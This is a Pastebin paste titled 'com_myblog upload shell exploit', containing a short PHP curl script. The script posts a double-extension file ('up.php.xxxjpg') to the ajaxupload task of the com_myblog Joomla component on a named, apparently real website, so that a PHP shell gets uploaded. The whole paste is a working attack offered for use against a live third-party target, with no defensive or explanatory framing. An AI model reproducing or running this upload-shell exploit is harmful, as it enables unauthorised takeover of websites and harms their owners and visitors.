Guest User

com_myblog upload shell exploit

a guest
Oct 25th, 2015
290
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.37 KB | None | 0 0
  1. <?php
  2. $uploadfile="up.php.xxxjpg";
  3.  
  4.  
  5. $ch = curl_init("http://www.rolnicze-maszyny.pl//index.php?option=com_myblog&task=ajaxupload");
  6. curl_setopt($ch, CURLOPT_POST, true);
  7. curl_setopt($ch, CURLOPT_POSTFIELDS,
  8. array('fileToUpload'=>"@$uploadfile"));
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  10. $postResult = curl_exec($ch);
  11. curl_close($ch);
  12. print "$postResult";
  13.  
  14. ?>
Advertisement
Add Comment
Please, Sign In to add comment